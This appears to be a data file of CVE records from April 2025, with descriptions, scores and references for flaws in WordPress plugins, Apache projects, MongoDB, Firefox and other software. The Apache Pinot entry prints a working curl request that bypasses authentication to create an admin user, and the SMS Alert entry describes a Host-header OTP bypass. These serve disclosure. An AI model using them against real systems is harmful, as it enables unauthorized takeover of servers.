deardaniel/secdata-raw huggingface dataset:
CVE: CVE-2024-12189
Published: 2025-04-01
Description: The WDesignKit – Elementor & Gutenberg Starter Templates, Patterns, Cloud Workspace & Widget Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via custom widgets in all versions up to, and including, 1.2.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. Please note that you may need to recreate any custom widgets or reinstall the plugin to ensure the issue is adequately patched.
CVSS Score: 6.4 (MEDIUM)
CWE: CWE-79
References: https://plugins.trac.wordpress.org/changeset?old_path=/wdesignkit/tags/1.2.3&new_path=/wdesignkit/tags/1.2.4&sfp_email=&sfph_mail=; https://www.wordfence.com/threat-intel/vulnerabilities/id/2e936214-ee25-4763-ba7a-b5308cc09a57?source=cve
CVE: CVE-2024-12278
Published: 2025-04-01
Description: The Booster for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via any location that typically sanitizes data using wp_kses, like comments, in all versions up to, and including, 7.2.4 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Score: 7.2 (HIGH)
CWE: CWE-79
References: https://plugins.trac.wordpress.org/browser/woocommerce-jetpack/trunk/includes/functions/wcj-functions-general.php#L1015; https://plugins.trac.wordpress.org/changeset/3262569/woocommerce-jetpack/trunk/includes/functions/wcj-functions-general.php; https://www.wordfence.com/threat-intel/vulnerabilities/id/234789db-1440-40ac-83e7-b8afb0ba4b5f?source=cve
CVE: CVE-2025-1267
Published: 2025-04-01
Description: The Groundhogg plugin for Wordpress is vulnerable to Stored Cross-Site Scripting via the ‘label' parameter in versions up to, and including, 3.7.4.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Administrator-level access, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.
CVSS Score: 5.5 (MEDIUM)
CWE: CWE-79
References: https://github.com/groundhoggwp/groundhogg/commit/5206bf2482e2fe210ccca6e7dcfe62ffe85b3061; https://plugins.trac.wordpress.org/browser/groundhogg/trunk/assets/js/admin/forms/form-builder-v2.js; https://plugins.trac.wordpress.org/browser/groundhogg/trunk/assets/js/admin/forms/form-builder-v2.js#L859
CVE: CVE-2025-1512
Published: 2025-04-01
Description: The PowerPack Elementor Addons (Free Widgets, Extensions and Templates) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Custom Cursor Extension in all versions up to, and including, 2.9.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Score: 6.4 (MEDIUM)
CWE: CWE-79
References: https://plugins.trac.wordpress.org/changeset/3262339/powerpack-lite-for-elementor/trunk/assets/js/pp-custom-cursor.js; https://www.wordfence.com/threat-intel/vulnerabilities/id/90579442-b05c-459e-93cb-f4883b6472ff?source=cve
CVE: CVE-2025-27427
Published: 2025-04-01
Description: A vulnerability exists in Apache ActiveMQ Artemis whereby a user with the createDurableQueue or createNonDurableQueue permission on an address can augment the routing-type supported by that address even if said user doesn't have the createAddress permission for that particular address. When combined with the send permission and automatic queue creation a user could successfully send a message with a routing-type not supported by the address when that message should actually be rejected on the basis that the user doesn't have permission to change the routing-type of the address.

This issue affects Apache ActiveMQ Artemis from 2.0.0 through 2.39.0.

Users are recommended to upgrade to version 2.40.0 which fixes the issue.
CVSS Score: 4.3 (MEDIUM)
CWE: CWE-863
References: https://lists.apache.org/thread/8dzlm2vkqphyrnkrby8r8kzndsm5o6x8; http://www.openwall.com/lists/oss-security/2025/03/31/1
CVE: CVE-2025-29868
Published: 2025-04-01
Description: Private Data Structure Returned From A Public Method vulnerability in Apache Answer.

This issue affects Apache Answer: through 1.4.2.

If a user uses an externally referenced image, when a user accesses this image, the provider of the image may obtain private information about the ip address of that accessing user.
Users are recommended to upgrade to version 1.4.5, which fixes the issue. In the new version, administrators can set whether external content can be displayed.
CVSS Score: 6.5 (MEDIUM)
CWE: CWE-495
References: https://lists.apache.org/thread/l7pohw5g03g3qsvrz8pqc9t29mdv5lhf; http://www.openwall.com/lists/oss-security/2025/04/01/2; http://www.openwall.com/lists/oss-security/2025/04/02/1
CVE: CVE-2025-2891
Published: 2025-04-01
Description: The Real Estate 7 WordPress theme for WordPress is vulnerable to arbitrary file uploads due to missing file type validation via the 'template-submit-listing.php' file in all versions up to, and including, 3.5.4. This makes it possible for authenticated attackers, with Seller-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible if front-end listing submission has been enabled.
CVSS Score: 8.8 (HIGH)
CWE: CWE-434
References: https://contempothemes.com/changelog/; https://www.wordfence.com/threat-intel/vulnerabilities/id/5c83457d-ba06-43c5-acdd-77dbfb0d4af4?source=cve
CVE: CVE-2025-30065
Published: 2025-04-01
Description: Schema parsing in the parquet-avro module of Apache Parquet 1.15.0 and previous versions allows bad actors to execute arbitrary code


Users are recommended to upgrade to version 1.15.1, which fixes the issue.
CVSS Score: 9.8 (CRITICAL)
CWE: CWE-502
References: https://lists.apache.org/thread/okzqb3kn479gqzxm21gg5vqr35om9gw5; http://www.openwall.com/lists/oss-security/2025/04/01/1; https://access.redhat.com/security/cve/CVE-2025-30065
CVE: CVE-2024-56325
Published: 2025-04-01
Description: Authentication Bypass Issue

If the path does not contain / and contain., authentication is not required.

Expected Normal Request and Response Example

curl -X POST -H "Content-Type: application/json" -d {\"username\":\"hack2\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"}  http://{server_ip}:9000/users 


Return: {"code":401,"error":"HTTP 401 Unauthorized"}


Malicious Request and Response Example 

curl -X POST -H "Content-Type: application/json" -d '{\"username\":\"hack\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"}'  http://{serverip}:9000/users; http://{serverip}:9000/users; .


Return: {"users":{}}



 

A new user gets added bypassing authentication, enabling the user to control Pinot.
CVSS Score: 9.8 (CRITICAL)
CWE: CWE-288
References: https://lists.apache.org/thread/ksf8qsndr1h66otkbjz2wrzsbw992r8v; http://www.openwall.com/lists/oss-security/2025/03/27/8
CVE: CVE-2025-27130
Published: 2025-04-01
Description: Welcart e-Commerce 2.11.6 and earlier versions contains an untrusted data deserialization vulnerability. If this vulnerability is exploited, arbitrary code may be executed by a remote unauthenticated attacker who can access websites created using the product.
CVSS Score: 8.8 (HIGH)
CWE: CWE-502
References: https://jvn.jp/en/jp/JVN87266215/; https://www.welcart.com/archives/23868.html
CVE: CVE-2025-3082
Published: 2025-04-01
Description: A user authorized to access a view may be able to alter the intended collation, allowing them to access to a different or unintended view of underlying data. This issue affects MongoDB Server v5.0 version prior to 5.0.31, MongoDB Server v6.0 version prior to 6.0.20, MongoDB Server v7.0 version prior to 7.0.14 and MongoDB Server v7.3 versions prior to 7.3.4.
CVSS Score: 3.1 (LOW)
CWE: CWE-284
References: https://jira.mongodb.org/browse/SERVER-103151
CVE: CVE-2024-13553
Published: 2025-04-01
Description: The SMS Alert Order Notifications – WooCommerce plugin for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 3.7.9. This is due to the plugin using the Host header to determine if the plugin is in a playground environment. This makes it possible for unauthenticated attackers to spoof the Host header to make the OTP code "1234" and authenticate as any user, including administrators.
CVSS Score: 9.8 (CRITICAL)
CWE: CWE-288, CWE-306
References: https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3227241%40sms-alert&new=3227241%40sms-alert&sfp_email=&sfph_mail=; https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3248017%40sms-alert&new=3248017%40sms-alert&sfp_email=&sfph_mail=; https://www.wordfence.com/threat-intel/vulnerabilities/id/4e444a30-11c5-4219-b4fe-635084cbac3a?source=cve
CVE: CVE-2025-2237
Published: 2025-04-01
Description: The WP RealEstate plugin for WordPress, used by the Homeo theme, is vulnerable to privilege escalation in all versions up to, and including, 1.6.26. This is due to insufficient role restrictions in the 'process_register' function. This makes it possible for unauthenticated attackers to register an account with the Administrator role.
CVSS Score: 9.8 (CRITICAL)
CWE: CWE-269
References: https://themeforest.net/item/homeo-real-estate-wordpress-theme/26372986#item-description__updates-history; https://www.wordfence.com/threat-intel/vulnerabilities/id/f6f7bff6-3bc3-4572-97fd-a039d54ac0ff?source=cve
CVE: CVE-2025-2906
Published: 2025-04-01
Description: The Contempo Real Estate Core plugin for WordPress is vulnerable to Stored Cross-Site Scripting via shortcodes in versions up to, and including, 3.6.3 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers with contributor-level and above permissions to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Score: 6.4 (MEDIUM)
CWE: CWE-79
References: https://contempothemes.com/changelog/; https://themeforest.net/item/wp-pro-real-estate-7-responsive-real-estate-wordpress-theme/12473778; https://www.wordfence.com/threat-intel/vulnerabilities/id/39c651c3-a478-4f58-af51-fd73d2934bdf?source=cve
CVE: CVE-2025-30177
Published: 2025-04-01
Description: Bypass/Injection vulnerability in Apache Camel in Camel-Undertow component under particular conditions.

This issue affects Apache Camel: from 4.10.0 before 4.10.3, from 4.8.0 before 4.8.6.

Users are recommended to upgrade to version 4.10.3 for 4.10.x LTS and 4.8.6 for 4.8.x LTS.

Camel undertow component is vulnerable to Camel message header injection, in particular the custom header filter strategy used by the component only filter the "out" direction, while it doesn't filter the "in" direction.


This allows an attacker to include Camel specific headers that for some Camel components can alter the behaviour such as the camel-bean component, or the camel-exec component.
CVSS Score: 6.5 (MEDIUM)
CWE: CWE-164
References: https://camel.apache.org/security/CVE-2025-27636.html; https://camel.apache.org/security/CVE-2025-29891.html; https://lists.apache.org/thread/dj79zdgw01j337lr9gvyy4sv8xfyw8py
CVE: CVE-2025-3083
Published: 2025-04-01
Description: Specifically crafted MongoDB wire protocol messages can cause mongos to crash during command validation. This can occur without using an authenticated connection. This issue affects MongoDB v5.0 versions prior to 5.0.31,  MongoDB v6.0 versions prior to 6.0.20 and MongoDB v7.0 versions prior to 7.0.16
CVSS Score: 7.5 (HIGH)
CWE: CWE-248
References: https://jira.mongodb.org/browse/SERVER-103152
CVE: CVE-2025-3084
Published: 2025-04-01
Description: When run on commands with certain arguments set, explain may fail to validate these arguments before using them. This can lead to crashes in router servers. This affects MongoDB Server v5.0 prior to 5.0.31, MongoDB Server v6.0 prior to 6.0.20, MongoDB Server v7.0 prior to 7.0.16 and MongoDB Server v8.0 prior to 8.0.4
CVSS Score: 6.5 (MEDIUM)
CWE: CWE-703
References: https://jira.mongodb.org/browse/SERVER-103153
CVE: CVE-2025-3085
Published: 2025-04-01
Description: A MongoDB server under specific conditions running on Linux with TLS and CRL revocation status checking enabled, fails to check the revocation status of the intermediate certificates in the peer's certificate chain. In cases of MONGODB-X509, which is not enabled by default, this may lead to improper authentication. This issue may also affect intra-cluster authentication. This issue affects MongoDB Server v5.0 versions prior to 5.0.31, MongoDB Server v6.0 versions prior to 6.0.20, MongoDB Server v7.0 versions prior to 7.0.16 and MongoDB Server v8.0 versions prior to 8.0.4.
Required Configuration : MongoDB Server must be running on Linux Operating Systems and CRL revocation status checking must be enabled
CVSS Score: 8.1 (HIGH)
CWE: CWE-299
References: https://jira.mongodb.org/browse/SERVER-95445
CVE: CVE-2025-1658
Published: 2025-04-01
Description: A maliciously crafted DWFX file, when parsed through Autodesk Navisworks, can force an Out-of-Bounds Read vulnerability. A malicious actor can leverage this vulnerability to cause a crash, read sensitive data, or execute arbitrary code in the context of the current process.
CVSS Score: 7.8 (HIGH)
CWE: CWE-125, CWE-125
References: https://www.autodesk.com/products/autodesk-access/overview; https://www.autodesk.com/trust/security-advisories/adsk-sa-2025-0002
CVE: CVE-2025-1659
Published: 2025-04-01
Description: A maliciously crafted DWFX file, when parsed through Autodesk Navisworks, can force an Out-of-Bounds Read vulnerability. A malicious actor can leverage this vulnerability to cause a crash, read sensitive data, or execute arbitrary code in the context of the current process.
CVSS Score: 7.8 (HIGH)
CWE: CWE-125, CWE-125
References: https://www.autodesk.com/products/autodesk-access/overview; https://www.autodesk.com/trust/security-advisories/adsk-sa-2025-0002
CVE: CVE-2025-1660
Published: 2025-04-01
Description: A maliciously crafted DWFX file, when parsed through Autodesk Navisworks, can force a Memory Corruption vulnerability. A malicious actor can leverage this vulnerability to execute arbitrary code in the context of the current process.
CVSS Score: 7.8 (HIGH)
CWE: CWE-120, CWE-787
References: https://www.autodesk.com/products/autodesk-access/overview; https://www.autodesk.com/trust/security-advisories/adsk-sa-2025-0002
CVE: CVE-2025-22231
Published: 2025-04-01
Description: VMware Aria Operations contains a local privilege escalation vulnerability. A malicious actor with local administrative privileges can escalate their privileges to root on the appliance running VMware Aria Operations.
CVSS Score: 7.8 (HIGH)
CWE: CWE-269
References: https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/25541
CVE: CVE-2025-31408
Published: 2025-04-01
Description: Missing Authorization vulnerability in Zoho Flow Zoho Flow zoho-flow allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Zoho Flow: from n/a through <= 2.13.3.
CVSS Score: 4.3 (MEDIUM)
CWE: CWE-862
References: https://patchstack.com/database/Wordpress/Plugin/zoho-flow/vulnerability/wordpress-zoho-flow-plugin-2-13-3-broken-access-control-vulnerability?_s_id=cve
CVE: CVE-2025-3028
Published: 2025-04-01
Description: JavaScript code running while transforming a document with the XSLTProcessor could lead to a use-after-free. This vulnerability was fixed in Firefox 137, Firefox ESR 115.22, Firefox ESR 128.9, Thunderbird 137, and Thunderbird 128.9.
CVSS Score: 6.5 (MEDIUM)
CWE: CWE-416
References: https://bugzilla.mozilla.org/show_bug.cgi?id=1941002; https://www.mozilla.org/security/advisories/mfsa2025-20/; https://www.mozilla.org/security/advisories/mfsa2025-21/
CVE: CVE-2025-3029
Published: 2025-04-01
Description: A crafted URL containing specific Unicode characters could have hidden the true origin of the page, resulting in a potential spoofing attack. This vulnerability was fixed in Firefox 137, Firefox ESR 128.9, Thunderbird 137, and Thunderbird 128.9.
CVSS Score: 7.3 (HIGH)
CWE: CWE-290
References: https://bugzilla.mozilla.org/show_bug.cgi?id=1952213; https://www.mozilla.org/security/advisories/mfsa2025-20/; https://www.mozilla.org/security/advisories/mfsa2025-22/
CVE: CVE-2025-3030
Published: 2025-04-01
Description: Memory safety bugs present in Firefox 136, Thunderbird 136, Firefox ESR 128.8, and Thunderbird 128.8. Some of these bugs showed evidence of memory corruption and we presume that with enough effort some of these could have been exploited to run arbitrary code. This vulnerability was fixed in Firefox 137, Firefox ESR 128.9, Thunderbird 137, and Thunderbird 128.9.
CVSS Score: 8.1 (HIGH)
CWE: CWE-416
References: https://bugzilla.mozilla.org/buglist.cgi?bug_id=1850615%2C1932468%2C1942551%2C1951017%2C1951494; https://www.mozilla.org/security/advisories/mfsa2025-20/; https://www.mozilla.org/security/advisories/mfsa2025-22/
CVE: CVE-2025-3031
Published: 2025-04-01
Description: An attacker could read 32 bits of values spilled onto the stack in a JIT compiled function. This vulnerability was fixed in Firefox 137 and Thunderbird 137.
CVSS Score: 6.5 (MEDIUM)
CWE: CWE-200
References: https://bugzilla.mozilla.org/show_bug.cgi?id=1947141; https://www.mozilla.org/security/advisories/mfsa2025-20/; https://www.mozilla.org/security/advisories/mfsa2025-23/
CVE: CVE-2025-3032
Published: 2025-04-01
Description: Leaking of file descriptors from the fork server to web content processes could allow for privilege escalation attacks. This vulnerability was fixed in Firefox 137 and Thunderbird 137.
CVSS Score: 7.4 (HIGH)
CWE: CWE-403
References: https://bugzilla.mozilla.org/show_bug.cgi?id=1949987; https://www.mozilla.org/security/advisories/mfsa2025-20/; https://www.mozilla.org/security/advisories/mfsa2025-23/
CVE: CVE-2025-3033
Published: 2025-04-01
Description: After selecting a malicious Windows `.url` shortcut from the local filesystem, an unexpected file could be uploaded.  
*This bug only affects Firefox on Windows. Other operating systems are unaffected.*. This vulnerability was fixed in Firefox 137 and Thunderbird 137.
CVSS Score: 7.7 (HIGH)
CWE: CWE-73
References: https://bugzilla.mozilla.org/show_bug.cgi?id=1950056; https://www.mozilla.org/security/advisories/mfsa2025-20/; https://www.mozilla.org/security/advisories/mfsa2025-23/
CVE: CVE-2025-3034
Published: 2025-04-01
Description: Memory safety bugs present in Firefox 136 and Thunderbird 136. Some of these bugs showed evidence of memory corruption and we presume that with enough effort some of these could have been exploited to run arbitrary code. This vulnerability was fixed in Firefox 137 and Thunderbird 137.
CVSS Score: 8.1 (HIGH)
CWE: CWE-787
References: https://bugzilla.mozilla.org/buglist.cgi?bug_id=1894100%2C1934086%2C1950360; https://www.mozilla.org/security/advisories/mfsa2025-20/; https://www.mozilla.org/security/advisories/mfsa2025-23/
CVE: CVE-2025-3035
Published: 2025-04-01
Description: By first using the AI chatbot in one tab and later activating it in another tab, the document title of the previous tab would leak into the chat prompt. This vulnerability was fixed in Firefox 137.
CVSS Score: 5.3 (MEDIUM)
CWE: CWE-359
References: https://bugzilla.mozilla.org/show_bug.cgi?id=1952268; https://www.mozilla.org/security/advisories/mfsa2025-20/
CVE: CVE-2025-28395
Published: 2025-04-01
Description: D-LINK DI-8100 16.07.26A1 is vulnerable to Buffer Overflow in the ipsec_road_asp function via the host_ip parameter.
CVSS Score: 7.1 (HIGH)
CWE: CWE-120
References: https://github.com/Fizz-L/Vulnerability-report/blob/main/DI-8100Buffer%20overflow.md
CVE: CVE-2025-28398
Published: 2025-04-01
Description: D-LINK DI-8100 16.07.26A1 is vulnerable to Buffer Overflow in the ipsec_net_asp function via the remot_ip parameter.
CVSS Score: 7.1 (HIGH)
CWE: CWE-120
References: https://github.com/Fizz-L/Vulnerability-report/blob/main/DI-8100Buffer%20overflow2.md
CVE: CVE-2025-30210
Published: 2025-04-01
Description: Bruno is an open source IDE for exploring and testing APIs. Prior to 1.39.1, the custom tool-tip components which internally use react-tooltip were setting the content (in this case the Environment name) as raw HTML which then gets injected into DOM on hover. This, combined with loose Content Security Policy restrictions, allowed any valid HTML text containing inline script to get executed on hovering over the respective Environment's name. This vulnerability's attack surface is limited strictly to scenarios where users import collections from untrusted or malicious sources. The exploit requires deliberate action from the user—specifically, downloading and opening an externally provided malicious Bruno or Postman collection export and the user hovers on the environment name. This vulnerability is fixed in 1.39.1.
CVSS Score: 6.1 (MEDIUM)
CWE: CWE-80
References: https://github.com/usebruno/bruno/security/advisories/GHSA-fqxc-cxph-9vq8
CVE: CVE-2025-30224
Published: 2025-04-01
Description: MyDumper is a MySQL Logical Backup Tool. The MySQL C client library (libmysqlclient) allows authenticated remote actors to read arbitrary files from client systems via a crafted server response to LOAD LOCAL INFILE query, leading to sensitive information disclosure when clients connect to untrusted MySQL servers without explicitly disabling the local infile capability. Mydumper has the local infile option enabled by default and does not have an option to disable it. This can lead to an unexpected arbitrary file read if the Mydumper tool connects to an untrusted server. This vulnerability is fixed in 0.18.2-8.
CWE: CWE-200
References: https://github.com/mydumper/mydumper/security/advisories/GHSA-r8qc-xp3g-c458; https://lists.debian.org/debian-lts-announce/2025/05/msg00042.html
CVE: CVE-2025-30354
Published: 2025-04-01
Description: Bruno is an open source IDE for exploring and testing APIs. A bug in the assertion runtime caused assert expressions to run in Developer Mode, even if Safe Mode was selected. The bug resulted in the sandbox settings to be ignored for the particular case where a single request is run/sent. This vulnerability's attack surface is limited strictly to scenarios where users import collections from untrusted or malicious sources. The exploit requires deliberate action from the user—specifically, downloading and opening an externally provided malicious Bruno collection. The vulnerability is fixed in 1.39.1.
CVSS Score: 4.3 (MEDIUM)
CWE: CWE-942
References: https://github.com/usebruno/bruno/security/advisories/GHSA-hffg-7v8v-79j3
CVE: CVE-2025-30676
Published: 2025-04-01
Description: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) vulnerability in Apache OFBiz.

This issue affects Apache OFBiz: before 18.12.19.

Users are recommended to upgrade to version 18.12.19, which fixes the issue.
CVSS Score: 6.1 (MEDIUM)
CWE: CWE-80, CWE-79
References: https://issues.apache.org/jira/browse/OFBIZ-13219; https://lists.apache.org/thread/8d718qt8dqthnw1gmyxsq8glfdjklnjf; https://ofbiz.apache.org/download.html
CVE: CVE-2025-31121
Published: 2025-04-01
Description: OpenEMR is a free and open source electronic health records and medical practice management application. Prior to 7.0.3.1, the Patient Image feature in OpenEMR is vulnerable to cross-site scripting attacks via the EXIF title in an image. This vulnerability is fixed in 7.0.3.1.
CVSS Score: 5.4 (MEDIUM)
CWE: CWE-79, CWE-79
References: https://github.com/openemr/openemr/security/advisories/GHSA-2w94-qmj6-3qxx